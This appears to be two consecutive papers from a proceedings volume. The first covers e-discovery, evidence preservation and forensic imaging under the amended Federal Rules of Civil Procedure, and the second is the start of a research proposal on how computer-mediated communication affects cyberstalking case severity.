An issue created by digital documents is whether a paper copy of the original digital version satisfies the best evidence rule when the digital document contains metadata. Metadata is embedded information stored in electronically created materials, but which is not visible when the digital document is printed. Usually metadata is not even seen when viewing the digital document on a computer monitor through an application software program. For example, a word processing document automatically creates metadata that describes the document, its author, its date of creation, and the dates on which changes were made, if any. As for email, metadata will tell you who was blind-copied or when it was read, while the paper printout will not reveal such nuggets. In some cases, metadata can be hugely relevant. In others, it may have no value, and its paper counterpart will suffice.

Once sources of potentially relevant electronic information have been identified, thought must be given to the proper process for collecting, transporting, preserving, analyzing, and producing it in a fashion that will not destroy its potential admissibility. The most cautious approach would entail retaining a digital forensic expert to assist with the process and to assist with the authentication of the evidence, as needed.

3. CHANGES TO THE FEDERAL RULES OF CIVIL PROCEDURE

The new Rules recognize the importance of electronic information. Indeed, it is now a requirement to discuss the preservation of digital information before the court’s scheduling conference and at discovery-planning conferences [10]. The Rules give digital documents the same weight and status as paper in terms of production [10]. The revisions underscore the fundamental shift of modern litigation towards the inclusion of electronic information in the process. Although the implications of these changes will not be clear until they are tested, demand has and will continue to increase for properly performed data collection and digital forensics investigations.

3.1 Rule 16(b): Pretrial Conferences, Scheduling, Management

The changes to Rule 16(b) now explicitly encourage parties to address ediscovery issues for possible inclusion in the scheduling order. Parties that have not consulted a digital forensics specialist prior to
conducting the Rule 26(f) planning conference with opposing counsel should seriously consider doing so in order to be thoroughly educated about the issues and in order to thoroughly evaluate the various discovery management and scheduling questions uniquely raised by digital evidence. Some of the challenging issues to be considered include the types of media involved; the cost and methods of collection, preservation, restoration, production, and analysis; possible cost sharing; the form in which the digital evidence will be produced, such as native versus image; timing of the various phases; custodians of digital evidence; treatment of privileged information, etc. Matters to which the parties cannot agree prior to the scheduling order can certainly be resolved by the court and included in the scheduling order to expedite discovery. Not only will digital forensics professionals be helpful to assist the counsel and the court in resolving any e-discovery management issues, they also will be an important part of the litigation support process.

Rule 16(b) also affords the parties the opportunity to enter into “clawback” agreements of their own design, rather than relying exclusively on the default clawback contained in Rule 26(b)(5) [10]. Clawback agreements state that full production will proceed without privilege review, and that any documents discovered to be privileged can be later removed from production without waiver of the privilege. The agreement sets forth the terms and conditions by which a party that inadvertently produces privileged information or work product can “claw” the information “back.” Generally, such agreements must include a third party to ensure maximum effectiveness. However, these types of agreements are a temporary solution to the general problem of removal of privileged documents from electronic production for which there is no clear answer at this time.

Screening electronic documents for privilege is made substantially more difficult by the volume of digital documents and by the informal and prolific nature of electronic communications, such as email, instant messaging, and other chat programs [2,20]. Therefore, privilege review of electronic information can quickly become costly and time-consuming. Further, the inclusion of metadata can be a concern relating to privilege, and whether this information should be captured is a topic of discussion during the discovery-planning conference. In recognition of these challenges, Rule 26(b)(5) also contains a clawback process. Despite the default provision of Rule 26(b)(5), counsel should think through the benefits of reaching their own terms and conditions in light of any unique aspects of each case, as permitted by Rule 16(b).

Attorneys should seriously consider consulting digital forensics specialists to assist in navigating clawback and other discovery issues. Most companies and individuals that use information systems are unaware of the types and locations of digital evidence may hide or linger. As such, the examiner may be asked to inspect and review information systems and deployments through sampling before making recommendations regarding discovery requests and preservation orders. Privileged documents are a significant concern within these proceedings, and the digital forensics specialist may be the key player in “clawback” agreements in order to facilitate reviews and exchanges.

3.2 Rule 26: General Provisions Governing Discovery, Duty of Disclosure

Rule 26(a)(1)(B) now makes clear that electronically stored information is included among the documents and things that must be included in a party’s mandatory initial disclosures. If a party may use digital evidence to support its claims or defenses, then the party must disclose a copy of the digital evidence or a “description” of it “by category and location” [10]. To fulfill this obligation, counsel will need to meet with the client’s key players, including information technologists, to compile the necessary information to be included in the initial disclosures. Parties are now directed to also discuss the form of electronic information production.

Rule 26(b)(2)(B) requires production of relevant, non-privileged, responsive digital information that is “reasonably accessible” [10]. The change recognizes that certain forms of electronically stored information are burdensome and costly to produce. If a party objects on the basis of undue burden or cost of producing information that is not so readily accessible, the objecting party must prove the
legitimacy of its objection. The Advisory Committee Notes point out that the requesting party may need to conduct discovery to test the legitimacy of the objection.

Significantly, the Advisory Committee Notes instruct that the “responding party must also identify, by category or type, the sources containing potentially responsive information that it is neither searching nor producing. The identification should, to the extent possible, provide enough detail to enable the requesting party to evaluate the burdens and costs of providing the discovery and the likelihood of finding responsive information on the identified sources” [22]. Counsel should consider discussing such matters at the Rule 26(f) scheduling and discovery planning conference.

The revisions to Rule 26(f) correspond to the modifications of Rule 16(b). For discovery planning and litigation management purposes, Rule 26(f) directs the parties “to discuss any issues relating to preserving discoverable information, and to develop a proposed discovery plan that” addresses “any issues relating to disclosure or discovery of electronically stored information, including the form or forms in which it should be produced” [10]. In that regard, the Advisory Committee Notes explain that “volume and dynamic nature of electronically stored information may complicate preservation obligations. The ordinary operation of computers involves both the automatic creation and the automatic deletion or overwriting of certain information. Failure to address preservation issues early in the litigation increases uncertainty and raises a risk of disputes” [10].

3.3 Rule 33: Interrogatories

The change to Rule 33(d) permits the responding party to answer an interrogatory by specifying the records from which the answer may be derived and allowing the opposing party access to examine the records. This option is available only where the burden of deriving that answer is substantially the same for both parties. If the responding party chooses to respond by providing electronic information, it must ensure that the interrogating party can access the information and ascertain the answer as easily as the producing party.

3.4 Rule 34: Production of Documents, Electronically Stored Information, and Things

Originally, Rule 34 focused only on “documents” and “things,” but the term “documents” was later amended to include “data compilations.” In years since, courts have interpreted the term “documents” to include electronically stored information, which can be stored in forms that are different than they would appear on paper. The new Rule 34(a) defines “documents” as including “electronically stored information,” and the phrase is even included in the new title of the Rule, affirming that the discovery of electronic data stands on equal footing with discovery of paper documents [10]. Therefore, recipients of requests for production of “documents” now have a clear duty to assume the request encompasses not only paper documents, but also all responsive electronically stored information, regardless of the media on which it is retained.

The amendment to Rule 34(a) clarifies that the parties may request an opportunity to “test” or “sample” responsive documents or other tangible things, including electronically stored information. The Advisory Committee Notes caution, however, that this amendment was “not meant to create a routine right of direct access to a party's electronic information system.” The Notes encourage parties and courts to show due regard for issues of confidentiality and privacy and to guard against unjustified intrusiveness.

Rule 34(b) has been modified to permit the requesting party “to specify the form or forms in which electronically stored information is to be produced” [10]. If the requesting party fails to specify the form, the respondent may specify the form or forms in which it will be produced. Regardless of the form in which digital information is produced, Rule 34(a)(1) requires that it be “translated, if necessary, by the respondent into reasonably usable form” [22]. Obviously, it remains to be seen how courts will clarify the wide-open question of when the duty to translate digital information for the opposing party’s use actually arises. However, resolving that question will likely require technical
assistance, as will the steps necessary to translate the information once the duty is triggered.

If the requesting party specifies a form to which the respondent objects and the parties are unable to reach an agreement, the respondent “must produce the information in a form or forms in which it is ordinarily maintained or in a form or forms that are reasonably usable” [10]. Producing digital information as it is ordinarily maintained means delivering the information in its native format as it is stored on the device, which may mean including metadata. As a result, the common practice of converting all documents derived from a digital device into TIF will be inadequate unless otherwise agreed or ordered by the Court. Additionally, the production of unreadable slack space files may require the examiner to extract and translate the relevant portions or provide a tool for parties to easily read the information.

As usual, parties must meet and confer to resolve differences before moving to compel production in a particular form. If a motion is filed, the Advisory Committee Notes explain that the court may decide the form regardless of those proposed by the parties.

3.5 Rule 37: Failure to Make Disclosures or Cooperate in Discovery, Sanctions

Rule 37 was modified to include a new subsection (f), which creates a safe harbor from sanctions when digital information is “lost as a result of the routine, good-faith operation of an electronic information system” [10]. This change reflects the fact that the normal use of computer and other electronic systems and devices results in the alteration or loss of digital information without regard for litigation or other legal proceedings. Similarly, the destruction of digital information pursuant to a records retention or information management policy, procedure, or practice is likewise encompassed by the new safe harbor, which appropriately protects from sanctions any such innocent alterations or losses. However, the Advisory Committee Notes emphasize that sanctions may be justified for the deliberate loss or destruction of potentially relevant digital information, as well as for the negligent failure to preserve from spoliation digital information that one should reasonably anticipate is relevant to future litigation.

3.6 Rule 45: Subpoena

Rule 45 has been revised to ensure that electronically stored information can be sought from third parties by subpoena. As usual, the burden of producing digital information and related costs may fall on the responding party unless the responding party objects and persuades the court to shift or reallocate the burden or costs of production. The Rule also states that the responding party need not provide such discovery from devices that are not reasonably accessible unless otherwise ordered by the court.

4. PRESERVATION AND PRODUCTION

For centuries, lawyers and their clients have had a legal duty to take reasonable steps to preserve potentially relevant evidence from “spoliation” [2,13]. Spoliation is the intentional or negligent destruction or alteration of evidence or the failure to preserve property for use as evidence in pending or future litigation [13]. Absent a natural disaster or spilled mug of coffee, preserving paper evidence poses few challenges. “Invisible” digital data is different, primarily due to sheer volume. It is cheap and easy to store a mountain of magnetic data on a few computer hard drives, a server, or backup tapes. The journey of a typical business email illustrates the exponential expansion of the universe of digital evidence. One email creates a number of copies: one in the sent folder of the sender’s computer; one on the sender’s hard drive; one on the email server; one on the recipient’s hard drive; and potentially a fourth if the email is sent to or from a PDA. This digital footprint is very large. A second difference is that innumerable innocent missteps can alter or destroy warehouses of information. Even when properly preserved from spoliation, production in discovery is laden with its own landmines. Making matters worse, courts are quick to sanction those who fail to properly preserve or produce digital evidence.
According to a thorough study of all opinions published during the years 2000 through 2004, whether sanctions are imposed for failing to properly preserve or produce digital evidence turns on two factors, the degree of culpability and the degree of prejudice [23]. The greater the degree of culpability, the less evidence of prejudice is necessary to justify sanctions and vice versa. The study also found that sanctions were granted 65% of the time with defendants being sanctioned four times more often than plaintiffs. Of the cases where sanctions were imposed, 85% involved both the failure to preserve evidence from spoliation and production delays; 49% were based on a finding of willfulness or bad faith; 35% on prejudice; and 9% on mere negligence. When sanctions were granted, 60% included an award of discovery costs or attorneys fees, 30% included evidence or witness preclusion; 23% involved adverse inference jury instructions, and 28% involved two or more these remedies.

Several recent notorious cases graphically illustrate the dangers of failing to properly preserve and production digital evidence. One of the early landmark ediscovery cases is a sex discrimination and retaliation case, Zubulake v. UBS Warburg, LLC, which spawned numerous published opinions that have provided guidelines for the management of digital forensics in modern litigation [28]. The federal court sanctioned UBS for many things, including the failure to preserve backup tapes containing highly relevant email and other digital evidence [28]. One sanction included an adverse inference jury instruction. The instruction told the jury they could infer that UBS destroyed relevant evidence because it may have been damaging to its defense. The jury awarded Zubulake, a Wall Street equities trader, $9 million in lost wages and $20 million in punitive damages. Two other major companies, Chevron and Morgan Stanley, have settled harassment suits for millions of dollars due to inappropriate emails circulated within their offices.

The duty to preserve arises as soon as one knows or should have known that materials are relevant to a pending suit or to reasonably anticipated future litigation [4,12]. In Zubulake, the court held that the duty to preserve arose at the earliest when UBS managers began to fear that Zubulake may file suit. At the latest, the duty arose when Zubulake filed a charge of discrimination with the Equal Employment Opportunity Commission, the federal agency responsible for investigating alleged employment discrimination [3,18,28].

In another prominent case involving sanctions, Prudential Insurance was fined $1 million after having been found to have negligently destroyed documents [15]. All employees were notified of the litigation, and Prudential was ordered to promulgate a document retention policy.

Arguably the most infamous ediscovery sanctions case resulted in a $1.4 billion jury verdict against Morgan Stanley for securities fraud [5]. Due to the degree of culpability of Morgan Stanley and its attorneys – who not only knowingly failed to properly preserve and produce digital evidence, but also lied to the court about it – the court granted default judgment against Morgan Stanley on the issue of liability. The only issue before the jury was the amount of damages to assess. A sample of Morgan Stanley’s abuses include the failure to locate a large number of relevant backup tapes, failure to notify both counsel and court of discovered tapes, and lying to the court about compliance with a preservation and production order. Additionally, they were found to have relied on flawed software written by their in-house information technology staff while searching electronic evidence, including use of an erroneous date range to search for emails and a failure to capture email attachments.

The key to properly preserving and producing digital evidence is promptly developing a thorough plan with counsel and the client’s key players. When litigation or an investigation is reasonably anticipated, clients should engage counsel to help design, implement, and monitor a “litigation hold.” A litigation hold is a “freeze” on a client’s normal document retention and destruction policies, procedures, and practices. The litigation hold is a process designed to preserve all documents and data that may be relevant to the litigation. It covers information reasonably calculated to lead to the discovery of admissible evidence, and information reasonably likely to be requested during discovery. The client must educate its employees about the process and monitor compliance [17]. Although the client is primarily responsible for preserving and producing evidence, the litigation hold process should be
“periodically re-issued so that new employees are aware of it, and so that it is fresh in the minds of all employees” [28]. The amount of money awarded in both verdicts and sanctions, combined with the multitude of costly missteps by high-profile companies, highlights the complexity of the preservation and production problem all businesses and their counsel face.

5. DIGITAL EVIDENCE

While the new Rules have addressed the discovery of electronic information, many of the reported decisions address evidentiary challenges to the admissibility of digital evidence at trial. Not surprisingly, most of the published digital evidence decisions are criminal cases. Long before embarking down the road of discovery, counsel must seriously evaluate the significant roadblocks to the ultimate admissibility of digital evidence that are created by ineffective methods of identifying, collecting, restoring, producing, and analyzing it.

Whether the investigation is civil or criminal, the forensic investigation process begins with collection. If performed incorrectly, the evidence could be inadmissible. Currently, the most popular tool for collecting and investigating digital evidence, specifically computer hard drives, is EnCase from Guidance Software Inc [2,20]. To perform collection, examiners use software such as EnCase Imager and/or hardware to copy the hard disk completely without modification byte by byte [8,16]. This process is called “mirror imaging” or “forensics copying,” and this methodology is admissible in court as exemplified by State v. Cook, 777 N.E.2d 882 (Ohio Ct. App. 2002). In this case, a defendant appealed his conviction based on the inadmissibility of evidence generated from a mirror image taken off of his hard drive. After a detailed discussion of the mirror imaging process, the authenticity of the data taken from the image, and the possibility for tampering, the appellate court found that the trial court properly admitted the evidence. Id. at 886-88.

Other copying methods, such as common disk imaging, duplication, and drag-and-drop, do not preserve all of the potentially relevant data [2,6,8]. As a result, such methods provide incomplete collection results and create potent impeachment material for opposing counsel and may raise barriers to admissibility. Indeed, multiple courts have directed third-party, independent forensic examiners to provide a “mirror image” or “clone” of a computer hard drive in order to fulfill the court’s discovery requirements [19,21,24,25,27].

Courts are continually refining their requirements for creating evidence grade copies of digital information. In Taylor v. State, 93 S.W.3d 487, 507 (Tex. App. 2002), the court recognized the importance of creating hashes of the copied computer to prove resulting copies were not modified. A hash value is a small digital fingerprint of data commonly used to test if data has been altered. In this case, the court overturned a criminal conviction, in part, because the investigating officer did not make note of the hash values, thereby introducing doubt as to the authenticity of the data and any resulting analysis [26].

Counsel should stay abreast of these evidentiary developments regarding digital evidence, and the new Federal Rules of Civil Procedure are certain to result in more definitive rulings regarding the collection and investigation of digital evidence. Lawyers face potential malpractice claims if they negligently fail to advise their clients regarding effective methods of digital discovery that are designed to minimize or completely avoid admissibility problems.

6. CONCLUSIONS

As digital devices become more pervasive, the amount of electronic information used in the legal landscape will continue to explode. The complexity of such devices and the changeable nature of such information have led to confusion and consternation regarding the appropriate treatment of digital discovery and the admissibility of electronic evidence. The changes to the Federal Rules of Civil Procedure have outlined a basic set of procedures for professionals facing these issues. However, these changes are merely the first step in the evolution of the use of electronic information in the legal profession.
7. REFERENCES


AUTHOR BIOGRAPHIES

Dr. Gavin W. Manes has both taught and performed hundreds of forensics investigations over the past eight years as a student and a professor at the University of Tulsa. Most recently, he founded Oklahoma Digital Forensics Professionals to fill a gap in the Oklahoma economy by offering digital forensics services. Dr. Manes has a background in computer security, information assurance, telecommunications security, and digital forensics. He was responsible for the creation of the Tulsa Digital Forensics Laboratory on the University of Tulsa campus. As a result, both the Tulsa Police Department Cyber Crimes Unit and the Oklahoma State Bureau of Investigation Computer Crime unit have a permanent presence utilizing the facility.

Lance Watson received his Master of Science in Computer Science from the University of Tulsa in 2003. During his time at TU, he focused on computer and network security, including participation in research regarding telecommunications security. He has earned all five of the federal CNSS/NSTISSI information assurance certifications. Currently, Lance Watson is serving as the Vice President of Client Relations at Oklahoma Digital Forensics Professionals, Inc. Mr. Watson oversees company operations including the collection and analyses of digital devices such as computers, cell phones, and PDAs. Information or evidence found is delivered to clients in easy to read non-technical reports. Mr. Watson’s ensures the company adheres to the highest standards of quality, confidentiality, and professionalism.

Elizabeth Downing is a Technical Writer at OKDFP. Previously, she has been a paralegal for several attorneys and firms in Oklahoma. At OKDFP she drafts reports and ensures the readability of technical jargon in these reports.

Chris Thrutchley earned his law degree with highest honors from The University of Tulsa in 1993 and served as Editor-in- Chief of the TULSA LAW REVIEW. He is AV® Peer Review Rated, the highest rating a lawyer can receive for ethical standards and legal ability. He represents employers in labor and employment matters before all state and federal courts and agencies. Mr. Thrutchley is a certified Professional in Human Resources, a designation awarded for mastery of the strategic and functional areas of human resources. He has the unique experience of having served as a human resources director with one of Tulsa’s largest unionized employers. Mr. Thrutchley is the Chairperson of the Oklahoma Bar Association’s Labor & Employment Law section and is a leader with the Tulsa Area Human Resources Association and the Tulsa EEO Coordinator’s Association.

Since 2003, Oklahoma Digital Forensics Professionals, Inc. (OKDFP) has been committed to providing digital forensics services to the business and legal communities by investigating and retrieving information from computer hard drives and other digital devices. OKDFP adheres to the highest standards of quality, confidentiality and diligence in the field of digital forensics.
An Exploratory Analysis of Computer Mediated Communications on Cyberstalking Severity

Stephen D. Barnes  
David P. Biros  
stephen.barnes@okstate.edu  
david.biros@okstate.edu  
Spears School of Business  
Oklahoma State University  
Stillwater, OK

ABSTRACT
The interaction between disjunctive interpersonal relationships, those where the parties to the relationship disagree on the goals of the relationship, and the use of computer mediated communications channels is a relatively unexplored domain. Bargh (2002) suggests that CMC channels can amplify the development of interpersonal relationships, and notes that the effect is not constant across communications activities. This proposal suggests a line of research that explores the interaction between computer mediated communications (CMC) and stalking, which is a common form of disjunctive relationships. Field data from cyberstalking cases will be used to look at the effects of CMC channels on stalking case severity, and exploring the relative impacts of CMC channel characteristics on such cases. To accomplish this, a ratio scaled measure of stalking case severity is proposed for use in exploring the relationship between case severity and CMC media characteristics, anonymity, and the prior relationship between the stalker and the victim. Expected results are identified, and follow-up research is proposed.

1. INTRODUCTION
This paper reports on current work in progress to understand the impact of computer mediated communications (CMC) channels on disjunctive online relationships. Following a line of research into the impact of the Internet on the development of interpersonal relationships, prior research has shown that use of computer-mediated communications (CMC) features can amplify and/or accelerate the development of such relationships (Bargh 2002; Bargh et al. 2002; McKenna et al. 2002; Hian et al. 2004), contrary to the expectations of early CMC and information systems researchers (Daft et al. 1986; Walther 1996; Dennis et al. 1998). Much of the past research on CMC and associated theories has been studied in relatively benign contexts, contexts that may be considered “conjunctive” (Cupach et al. 2004). Thus there are opportunities to study CMC usage and concepts in less benign environments as well. Our work looks at relationships that have turn sour or disjunctive, to understand what effects, if any, CMC channels have on such relationships. Cyberstalking is such a disjunctive environment, one with substantial opportunities for research.

This leads to the following question: If the Internet and CMC tools can accelerate or amplify the development of interpersonal relationships, what is its corresponding ability to amplify (or dampen) the impacts when a relationship goes through the process of dissolution? This is of course an impossibly broad question to answer, as there are a substantial number of reasons for the dissolution of relationships (Cupach et al. 2004). Thus this research effort limits the scope of the question to one of particular interest to academics, legal and clinical practitioners, and Internet service providers: stalking, or more precisely, cyberstalking. Stalking is one common outcome of the process of dissolution of a relationship, and is characterized by harassment of one person (usually the person initiating the dissolution) by the other. Such harassment can take one of two common forms: obsessional relational intrusion (ORI, also known as hyperintimacy), in which the pursuer attempts to
restore or strengthen the relationship, or stalking, where the pursuer is attempting to punish the object of pursuit (Cupach et al. 1998, 2004). Stalking and ORI are thus useful as clearly defined forms of disjunctive relationships that can be used as the basis for research into the impacts of CMC channels on disjunctive relationships generally.

In addition, we propose to extend this, looking at three characteristics of CMC channels and their impacts on cyberstalking cases. Te’eni (2001) suggests three dimensions to communications media that may affect the medium’s ability to convey stalking messages: interactivity, richness (e.g. support for verbal communications), and adaptability. Adaptability is closely related to the distribution mechanism for messages on a medium, e.g. whether the medium is typically private (peer-to-peer messages) or public (e.g. a blog). An additional characteristic of some CMC media is the ability to provide the sender with an effective form of anonymity (Berthold et al. 2000), which may impact the cyberstalking victim in various ways. This proposal suggests means for exploring these interactions, as a prelude to more focused research on the topic in the future.

The remainder of this paper is organized as follows. Section 2 introduces the reader to stalking and cyberstalking, and introduces a number of dimensions of stalking that are used in this research. The first classifies stalking cases by the prior relationship between the stalker and the victim. The second identifies the location of the relationship, specifically if it an online or offline relationship. A brief discussion of known CMC impacts on relationships follows. Section 3 develops our model, and details the research hypotheses proposed for testing with the available cyberstalking case data. Section 4 introduces the cyberstalking case histories planned for use in this research, and details the calculation of an index of case severity using the analytical hierarchy process for use as the dependant variable. A testing methodology is also proposed in this section. Section 5 follows with some conclusions, with comment on the limitations of this research and suggestions for future research.

2. BACKGROUND

2.1 Stalking, Cyberstalking, and Online Harassment

Cupach and Spitzberg (2004) introduce their book on obsession and stalking with the concept that interpersonal relationships may take on two forms. First, “when individuals pursue mutual activities and states, their shared relationship may be considered conjunctive in structure. Conversely, when relationships are nonmutual, they may be considered disjunctive in structure” (Cupach et al. 2004 p3). Many other forms of relationships are disjunctive, but as Cupach and Spitzberg observe, “few seem so prototypical of disjunction as stalking and obsessive relational intrusion” (2004 p3).

The academic literature generally defines stalking as “a series of actions directed at one individual by another that taken as a whole amount to unwanted persistent personal harassment” (Sheridan et al. 2001b p152). Goode (1995) suggests that stalking is a pattern or “course of conduct” of intentional harassment intended to cause emotional distress. ORI consists of excessive efforts on the part of the perpetrator to develop a relationship with a victim, often to the extent that normally positive acts take on negative connotations in the perception of the victim. The differences between ORI and stalking are only minimally important for the purposes of this study (Harmon et al. 1995) as it is the perception of the victim that practically (and legally) determines if harassment is taking place (Cupach et al. 1998, 2004). This paper will use a somewhat relaxed definition of the term stalking, which includes both “classic,” or criminal, stalking and more aggressive forms of ORI, unless otherwise noted.

Cyberstalking is stalking perpetrated exclusively or largely with computer-mediated communications (CMC) and/or a wide variety of other online applications and services (Spitzberg et al. 2002). CMC can provide support for offline stalkers, as a tool in their kit (Spitzberg et al. 2002), or a cyberstalker can operate purely online, even when the victim is not a regular user of the Internet. The latter is demonstrated in the case of Gary S. Dellapenta, who severely traumatized his victim via personal ads

1 In general usage, the term cyberstalking also encompasses some cases better classified as online incidents of ORI.
placed on the Internet (Miller 1999). Cyberstalking has recently become a recognized phenomena (Miceli et al. 2001; D’Ovidio et al. 2003), but there have been only a few pilot studies of its prevalence and impacts on victims (Spitzberg et al. 2002; Finn 2004; Alexy et al. 2005).

2.2 Dimensions of Stalking

For the purposes of this paper, three dimensions of stalking are important. The first is the nature of the prior relationship between the stalker and the victim. Often, stalking originates out of the dissolution of an intimate relationship, but it can also evolve from all other forms of relationships (Sheridan et al. 2001b; Spitzberg 2002; Cupach et al. 2004). Emerson et al. (1998) suggest that stalking is most likely to originate as a relationship begins or ends, and that most cases of stalking are a dynamic process that evolves from a normal relationship through hyperintimacy and ORI into classic stalking. This is supported by the evidence, which suggests that upwards of 50% of classic stalking cases resulted from the dissolution of some form of intimate relationship, either as spouses, sexual partners, or a dating relationships that lasted more than a few weeks (Tjaden et al. 1998, 2000; Spitzberg 2002). Sheridan et al. (2001a) captures a concise typology of relationship types, providing for five main categories:

- Domestic violence stalking by a current or former intimate partner.
- Domestic violence stalking by another family member.
- Stalking by friends/acquaintances.
- Stalking by strangers/Erotomania.
- Stalking by unknown or anonymous stalkers.

This paper uses Sheridan’s typology to characterize the relationships between stalker and victim in this research, with a further extension representing the context in which the relationship began, as follows.

The second dimension of importance here is the original context of the relationship. This dimension is used to identify where the stalker meets and interacts with the victim. Traditionally, this meant work, school, or church, but for this research the crucial aspect is did the relationship exist solely online, or did the stalker and victim ever meet and have an offline relationship. Today, some of the most popular web sites on the Internet are social networking sites, some of which are explicitly designed to facilitate the process of initiating relationships. McKenna et al. (2002) reported on the history and evolution of such online relationships, and the progression from email and internet relay chat (IRC) to the telephone to meeting in person. Bargh et al. (2002) and McKenna et al. (2002) together show that use of CMC allows individuals to more easily present their “true selves” and, on the receiving side, map that to the receivers ideal of the person presented. This accelerates the formation of relationships, and often leads to long term friendships and offline intimacy (McKenna et al. 2002). Hian et al. (2004) demonstrated that contrary to expectations, computer mediated communications actually accelerated the development of relations over face to face communications in zero-history dyads in a organizational environment.

The third dimension addresses the form or severity of the harassment (Cupach et al. 1998; Sheridan et al. 2001b; Spitzberg 2002). This third dimension is postulated here to be related to the first two, and will be used to generate the primary dependant variable for our analysis. We will review this dimension in more detail below.

2.3 Harassing Acts

The true measure of the severity of a stalking cases is the psychological impact on the victim. Data for this is not readily available without an extensive data collection process, so a proxy for this measure is required. Purcell et al. (2004) show a significant connection between the frequency and number of harassing acts, threats, and aggression and the resulting psychological impact on the victim. Such harassment can, of course, cover a very broad range of acts, and does. Spitzberg (2002), in a significant meta-analysis, developed a typology of stalking based on the actions of stalkers found in
his literature review. Spitzberg grouped the actions into seven categories of roughly increasing severity, as follows:

1. Hyperintimacy
2. Pursuit, Proximity, and Surveillance
3. Invasion
4. Proxy Pursuit/Intrusion
5. Intimidation and Harassment
6. Coercion and Constraint
7. Aggression

Hacking and impersonation online were not included in Spitzberg’s typology details (Spitzberg 2002). Note here that online technologies are tools not strategies, and can be used to support virtually all of Spitzberg’s strategies. This paper uses Spitzberg’s categories as the basis for our case severity index, as described further below.

2.4 Case Severity in Cyberstalking

Purcell et al. (2004) show a significant connection between the frequency and number of harassing acts, threats, and aggression and the resulting psychological impact on the victim. After dividing their survey sample of stalking cases into short (less than two weeks) and long duration cases, they showed that longer cases were more severe in all categories, and that two measures of psychological morbidity, the 28-item General Health Questionnaire (Goldberg et al. 1979), a screening measure of current general psychiatric morbidity, and the Impact of Event Scale (Horowitz et al. 1979), a measure of post-traumatic stress reactions associated with victimization, were elevated. Comparison of both morbidity measures between short cases and non-stalking survey respondents were not significantly different (Purcell et al. 2004). This leads to the conclusion that increases in duration, action frequency, threat volume, and aggression can be associated with increases in psychological impacts on the victims. This paper utilizes Purcell’s conclusions to developing an index of case severity, which is based on the presence (or not) of various actions and threats in the case record.

A review of the literature addressing the seriousness or severity of specific stalking/cyberstalking incidents in comparison to other incidents produced only three other papers. A meta analysis of stalking research by Rosenfeld (2004) found that only two studies up to that time differentiate between minor and serious violence, and none systematically studied the rate of homicide in stalking cases (Rosenfeld 2004 p12). Brewster (2000 p45) used injury as a proxy for violence, but did not differentiate between small cuts and bruising and more severe injuries such as broken bones or wounds requiring stitches. Rosenfeld and Harmon (2002) defined serious violence as cases in which actual or attempted harm was potentially life-threatening or would result in significant bodily harm.

Other papers that deal with the issue of severity of cases address the legal status of the incident: was the incident serious enough to be labeled a crime. As stalking (and cyberstalking) are made up of many smaller actions, there has been an ongoing debate about what constitutes the crime of stalking, and this is reflected in the literature (Dziegielewski et al. 1995; Goode 1995; Ellison et al. 1998; Tjaden et al. 1998; Sheridan et al. 2001b; Bocij 2002; Sheridan et al. 2002; Brenner 2004; Phillips et al. 2004; Roberts et al. 2006). Unfortunately, these works assume a binary outcome, crime or not, and do not measure the degree of impact on the victim.

2.5 Impacts of Computer Mediated Communications Channels

Bargh postulates that the amplification of relationship development occurs as the result of two main factors. First is the ability of the Internet to allow individuals with common interests to find each other quickly and easily, even if widely separated geographically (what can be called the search
capability of the Internet). As mutual interests are at the core of stable relationships, this search capability accelerates the process of discovery of shared mutual interests. Second, use of Internet CMC tools allow the speaker to filter out aspects of the self that might be detrimental to the initial development of a relationship, but that can be overlooked once a common bond has been formed. This is shown to accelerate the disclosure of the speaker’s “true” or inner self, leading to an accelerated strengthening of the relationship (Bargh et al. 2002; McKenna et al. 2002).

Similar effects from use of CMC media are shown to have a negative effect on commercial negotiations (Thompson et al. 2002), have positive long term effects on social involvement and psychological well-being among new Internet users (Kraut et al. 2002), and allow people with extreme perspectives on any topic to find others of a like mind, leading to the reinforcement of such extremist views (Glaser et al. 2002). Spears et al. (2002) note that CMC effects can reinforce such things as “group think” phenomena within all groups, with particularly worrisome consequences for extremist and/or antisocial groups (Glaser et al. 2002). The Glaser et al. study also shows the power of the Internet and CMC tools to allow research into topics that would otherwise be difficult or impossible to research (Glaser et al. 2002).

3. RESEARCH MODEL & HYPOTHESIS

The formal research model explored in this paper is shown in Figure 1, and consists of two main elements. The first element addresses the interaction of the type and intensity of the prior relationship between the stalker and the victim, and the context in which the relationship existed, where the latter is divided into online and offline relationships. This interaction is the subject of the first hypothesis under study, and underlies all of the following work. A series of additional hypotheses extend the analysis of this interaction to look into postulated differences related to intimacy level and anonymity on the part of the stalker. The second element is dependant on a showing of an interaction, and attempts to explore a trio of the various characteristics of CMC that may have an impact on cyberstalking. This effort thus begins the task of pulling apart CMC characteristics to see which has the most significant impacts on this type of relationship. This research model is elaborated in the following sections.

Figure 1: Basic Research Model

3.1 Relationship Intimacy and it’s Context

Given the potential for CMC impacts on relationships generally (Bargh 2002; Bargh et al. 2002; McKenna et al. 2002), it is reasonable to speculate that relationships that originate and remain online will also be affected by some form of CMC effect when they turn acrimonious and disjunctive. This is
further supported with the study by Thompson and Nadler (2002) that showed that adversarial negotiations were hindered by exclusive use of CMC communications channels, implying that the use of CMC channels will affect at least some types of disjunctive relationships. This leads us to postulate that there is a likelihood that differences in case severity will be noted when online and offline cases of stalking are compared.

While arguments can be made for either an increase or a decrease in case severity resulting from use of CMC channels, it appears that on balance, a decrease is more likely. The argument for an increase is based on extending the work of Bargh, McKenna, and colleagues (Bargh 2002; Bargh et al. 2002; McKenna et al. 2002), which suggest that CMC usage accelerates the relationship cycle, along with the findings of Thompson et al. (2002), and which suggests that CMC usage amplifies adversarial effects in a relationship. Conversely, purely online relationships tend to move offline as they strengthen (McKenna et al. 2002), suggesting that the stronger the relationship, the less likely it is to remain a purely online relationship. Assuming that stronger relationships lead to more severe cases of stalking, online relationships that move offline will tend to bias central tendency measures of severity, lowering values for online cases and raising it for offline cases. Unless this potential confound can be measured and accounted for, there is the potential that it will dominate any CMC effects in the other direction.

Two simple steps can be taken to reduce this problem when working with field data. First, offline cases where the stalker is identified as a former spouse can be eliminated, as it is not possible for couples to marry without meeting offline. This eliminates many offline cases with the strongest relationships. Second, any measurement of case severity must reflect the potential for or actual occurrence of physical aggression and violence in the case. Such actions are not possible online, but should account for a portion of any reasonable measure of case severity. Thus we intend to exclude offline cases that include occurrences of physical aggression and violence from the offline comparison group.

Thus we propose the following hypothesis, suggesting that online relationships reliant on CMC tools will lower case severity for intimate relationships, while having a weaker or insignificant impact on other types of relationships.

H1: Online relations are negatively related to case severity for intimate relationships.

